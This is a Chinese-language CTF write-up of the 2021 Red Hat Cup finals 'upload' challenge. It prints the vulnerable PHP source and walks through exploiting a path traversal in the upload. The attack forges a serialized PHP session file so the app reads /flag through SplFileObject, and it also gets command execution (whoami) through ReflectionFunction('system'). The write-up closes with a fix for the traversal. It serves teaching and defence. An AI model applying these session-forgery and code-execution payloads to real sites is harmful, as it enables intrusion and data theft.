2021 红帽杯-决赛 upload

2021 红帽杯-决赛 upload

由于线下是AWDplus的模式,需要挖洞并且修洞,直接给出了源码,有3个文件。

class.php

<?php
session_start();

function red($fileinfo){
    foreach($fileinfo as $key => $value){
        $path = $value;
        $name = $key;
    }
    echo "<a style='color:#ff6347' href='$path'>$name</a>\n";
    return $name;
}

function green($fileinfo){
    foreach($fileinfo as $key => $value){
        $path = $value;
        $name = $key;
    }
    echo "<a style='color:#32cd32' href='$path'>$name</a>\n";
    return $name;
}
class file{
    public $path;
    function __construct($path)
    {
        $this->path = $path;
    }
    function __toString()
    {
        return basename($this->path);
    }
}

index.php

<?php

include('class.php');
if(!(isset($_SESSION['func']))) {
    $_SESSION['func'] = 'showfile';
}
if(!(isset($_SESSION['files']))) {
    $_SESSION['files'] = array();
}
if(!(isset($_SESSION['paths']))) {
    $_SESSION['paths'] = array();
}

if(isset($_POST['filename'])&&isset($_POST['content'])){
    if(stristr($_POST['filename'], 'h')){
        die('no h!');
    }
    $filepath = './files/'.$_POST['filename'];          
    $filename = basename($_POST['filename']);           
    file_put_contents($filepath,$_POST['content']);
    $_SESSION['files'][$filename] = $filepath;      
    $_SESSION['paths'][$filepath] = 'file';        
    header('Location:/?file='.$filename);

}
?>
<!DOCTYPE html>
<html>
<head>
    <title>upload</title>
</head>
<body>
<div>
    <h3>upload your file below</h3>
    <form action="index.php" method="post">
        <input type="text" name="filename" value="filename" style="width: 600px;">
        </br>
        </br>
        <textarea type="text" name="content" style="width: 600px;height: 300px;" ></textarea>
        </br>

        <input type="submit" value="submit">
    </form>
    <h4>beatiful front</h4>
</div>
<?php
if(rand(0,2)>1){
    $showfile = 'red';
}
else{
    $showfile ='green';
}
$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){          
    $temp = new $class($path);          
    if($class=='file'){            
        $filelist[] = (string)$temp;    
    }
    else{
        $filelist[] = $temp;
    }
}
$out = '<p>your file:';

foreach ($filelist as $value){
    $out .= $value.' ';         
}
echo $out.'</p>';

if(isset($_GET['file'])){
    if(isset($_SESSION['files'][$_GET['file']])) {      //GET方法读取文件名,从session的文件名字里面寻找

        $pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]);
        ${$_SESSION['func']}($pathinfo);
    }
    else{
        echo 'no such file!';
    }
}
?>
</body>
</html>

info.php

<?php
phpinfo();

分析题目

首先是index页面

image-20210726104927468

这里能够让用户填写文件的文件名和内容,然后提交,提交的文件正常情况下会保存在./files目录下,看一下后台是怎么对文件进行操作的:

if(isset($_POST['filename'])&&isset($_POST['content'])){
    if(stristr($_POST['filename'], 'h')){            // 对文件名有h字符的进行过滤
        die('no h!');
    }
    $filepath = './files/'.$_POST['filename'];      // 这里可以目录穿越
    $filename = basename($_POST['filename']);       // basename()函数获取文件名字
    file_put_contents($filepath,$_POST['content']);

通过分析可以发现我们上传的文件存在目录穿越的问题,我们能通过filename=../xxxx这种方式将文件保存的路径穿越到服务器的任意路径下,但是由于存在对文件名h字符的过滤,因此无法直接传一个php文件到网站根目录下执行,得另寻僻径。

.user.ini(无果)

既然过滤掉了h字符,意味着.htaccess这样的修改配置文件意味着行不通,但是我想起了另外一个修改配置的文件.user.ini.user.ini.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。

但是不是php.ini中的每个变量都能通过ini_set()或者.user.ini.htaccess来设置,简单的来说每个变量有它所属于的模式,下面官方手册的四个模式

image-20210726110716086

通过上表,看到PHP_INI_USER模式中提到,可以在.user.ini中设定。但实际上,只要不是PHP_INI_SYSTEM模式下的属性,均可以在.user.ini中设置。

那配置文件应该怎么写呢,这里有官方的配置选项列表:php.ini 配置选项列表

在文件上传的题目中,我们只需记住这两个选项即可:

auto_prepend_file = xxx        // 在每个文件头添加上指定文件的内容,相当于include(xxx)
user_ini.cache_ttl = xx        // 设置配置的生效时间,默认300秒

于是我们就想是否能够通过上传一个一句话木马文件,然后再目录穿越将.user.ini上传到网站根目录下,内容是让其他文件都包含这个一句话木马,从而实现getshell,但是尝试了很多次都无果,由此猜测运行的模式是PHP_INI_SYSTEM导致了.user.ini无法生效。

SplFileObject类读文件

比赛的时候做到这里其实已经没思路了(还是题目刷得少啊),赛后看有通过SplFileObject 类来读文件得思路,那先得了解一下SplFileObject 类是个什么玩意。

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php

该类的构造方法可以构造一个新的文件对象用于后续的读取。

我们可以像类似下面这样去读取一个文件的一行:

<?php
$context = new SplFileObject('/etc/passwd');
echo $context;        // 输出 root:x:0:0:root:/root:/bin/bash

但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

session反序列化

那么我们知道了这个类之后有什么用呢,似乎找不到可以用的地方啊,想想文件中是不是还有一个文件我们都没用上,其中必然藏有解题的关键。

    $_SESSION['files'][$filename] = $filepath;      // 将带有路径的文件名字作为键,文件路径作为值
    $_SESSION['paths'][$filepath] = 'file';         // 将文件目录作为键,'file'作为值
    header('Location:/?file='.$filename);
}

这里把文件的名字和路径都存到了SESSION里面,但是我们能够看到$_SESSION['paths'][$filepath]的值是被写死了,我们无法控制,然后接着往下看

$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){          // 将每一个文件的路径赋值给$path,将'file'赋值给$class
    $temp = new $class($path);          // 相当于new file(文件的路径)
    if($class=='file'){             // 存在$class不等于file的情况吗????
        $filelist[] = (string)$temp;    //将返回的文件名赋值给列表
    }
    else{
        $filelist[] = $temp;
    }
}
$out = '<p>your file:';

foreach ($filelist as $value){
    $out .= $value.' ';         //从列表中读取输出文件名
}
echo $out.'</p>';

我们可以看到,这里从$_SESSION['paths']数组里面把每一个键(文件的路径)赋值给$path,将值'file'赋值给$class,然后重点就来了,这里用动态调用的方法新建了一个类对象,看到这里是不是觉得很奇怪,在上一段代码中,已经把每一个$_SESSION['paths']的值已经写死了为'file'了,为什么这里要动态调用而不是直接new file($path)这种更直接的方式呢,这里很明显有问题。接着往下看,这里又用if()来判断$class的值是否是'file',这就更加明显了了,$class的值必然又猫腻,但是在比赛的时候我找不到能够利用的方法。看回代码,最后是将新建的类对象赋值给一个临时变量,然后再通过循环输出每一个值,看到这里是不是有点熟悉,这不就是SplFileObject类需要循环来输出每一行的值吗?于是这里几乎能肯定是通过将$class的值变成SplFileObject,来获取文件的内容。

既然是读取SESSION的内容,那我是是否能够改变SESSION的内容呢?结合我们目录穿越的漏洞,实际上如果我们知道SESSION保存的路径和SESSION序列化的方法,那么我们实际上可以直接上传一个SESSION文件到指定的目录中,控制SESSION的内容,所以最后一个info.php文件就是让我们看SESSION保存的路径和序列化方法的。

image-20210726211708820

接着就是构造我们的SESSION序列化后的文件

paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

这里的键为/flag对应代码中的$path,值为SplFileObject对应$class,组合起来就是SplFileObject('/flag')。然后文件名需要目录穿越到/tmp/sess_[SSID的值]

image-20210727145955763
image-20210726232021388

这里我花了好长时间去复现:其中一个原因是对session序列化的结构不熟悉,注意paths前面是没有分号;的,我就是加了个分号导致系统无法识别到$_SESSION['paths']结果给我又新建了一个空的$_SESSION['paths'],所以一直没有输出5555555。

ReflectionFunction反射类

这里是另外一个能利用的类,这个类能够直接写shell,比上面的只能读文件更加牛逼。这也应该是预期解,题目中所有的代码都用上了。

网上能够搜出来CTF中的用法是:

<?php
    $func = new ReflectionFunction($_GET[m]);
    echo $func->invokeArgs(array($_GET[c]));
?>
image-20210727150223917

那这道题里面该怎么用这个类呢,由于要用到这个类里面的invokeArgs()这方法,因此要用到数组去动态调用类里面的方法。

example:

class Test{
    public function hello($name)
    {
        echo "hello ".$name;
    }
}
$t = new Test();
$a = array(0 => $t,1 => "hello");
$a('john');            // 输出hello john

这里用数组的第一个位置的值是实例化后的类,第二个位置的值是类的方法名,因此我们要的是:

$function = new ReflectionFunction('system');
$a = array(0 => $function,1 => "invokeArgs");
$b = array(0 => 'whoami');
$a($b);

先实例化ReflectionFunction类对象,然后再构造出这两个数组,最后找到一个能够动态调用的地方。

再看回题目,我们在之前的分析中已经能实现能够实例化自己想要的类了。

paths|a:1:{s::"system";s::"ReflectionFunction";}

那怎么构造出第一个数组呢,再看回这段代码:

$filelist = array();
foreach ($_SESSION['paths'] as $path=>$class){          // 将每一个文件的路径赋值给$path,将'file'赋值给$class
    $temp = new $class($path);          // 相当于new file(文件的路径)
    if($class=='file'){             // 存在$class不等于file的情况吗????
        $filelist[] = (string)$temp;    //将返回的文件名赋值给列表
    }
    else{
        $filelist[] = $temp;
    }
}

这里已经为我们准备好了一个$filelist数组,在构造ReflectionFunction类对象的时候由于$class不等于字符串'file',因此是直接放进了数组中,然后数组第二位我们需要是'invokeArgs'这个字符串,因此我们可以让$class='file'同时让$path='invokeArgs',这样就能够返回一串字符串添加进数组里面,从而完成第一个数组的构造!

paths|a:2:{s:6:"system";s:18:"ReflectionFunction";s:10:"invokeArgs";s:4:"file";}

得到$filelist = array(0 => $temp,1 => "invokeArgs");

接下来就是构造第二个数组,和动态调用类方法。

if(isset($_GET['file'])){
    if(isset($_SESSION['files'][$_GET['file']])) {      //GET方法读取文件名,从session的文件名字里面寻找
        $pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]);
        // 构造数组
        ${$_SESSION['func']}($pathinfo);    // 动态调用!!
    }
    else{
        echo 'no such file!';
    }
}

可以看到$pathinfo这里为我们构造了一个数组,并且数组的键是从GET方法获取的,而值又是从SESSION中的files数组里面找的,因此我们同样能够控制。

files|a:1:{i:0;s:6:"whoami";}

当使用GET方法去传递file=0这个参数的时候就能够构造出$pathinfo = array(0=>'whoami')

最后是动态调用,这里同样是从SESSION中的func参数中获取值进行动态调用,因此我们只需构造$_SESSION['func']='filelist'即可

func|s:8:"filelist"

综上所述,我们写进SESSION文件里面的内容是

func|s:8:"filelist";files|a:1:{i:0;s:6:"whoami";}paths|a:2:{s:6:"system";s:18:"ReflectionFunction";s:10:"invokeArgs";s:4:"file";}
image-20210727162728194

这样就能够getshell了。

修复

修就很简单了,既然是因为目录穿越导致能够控制SESSION的内容,那么修掉目录穿越的地方就好了:

if(isset($_POST['filename'])&&isset($_POST['content'])){
    if(stristr($_POST['filename'], 'h')){            
        die('no h!');
    }
    $filename = basename($_POST['filename']);
    $filepath = './files/'.$filename;      
    file_put_contents($filepath,$_POST['content']);

参考资料

2021红帽杯决赛部分wp | CN-SEC 中文网

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇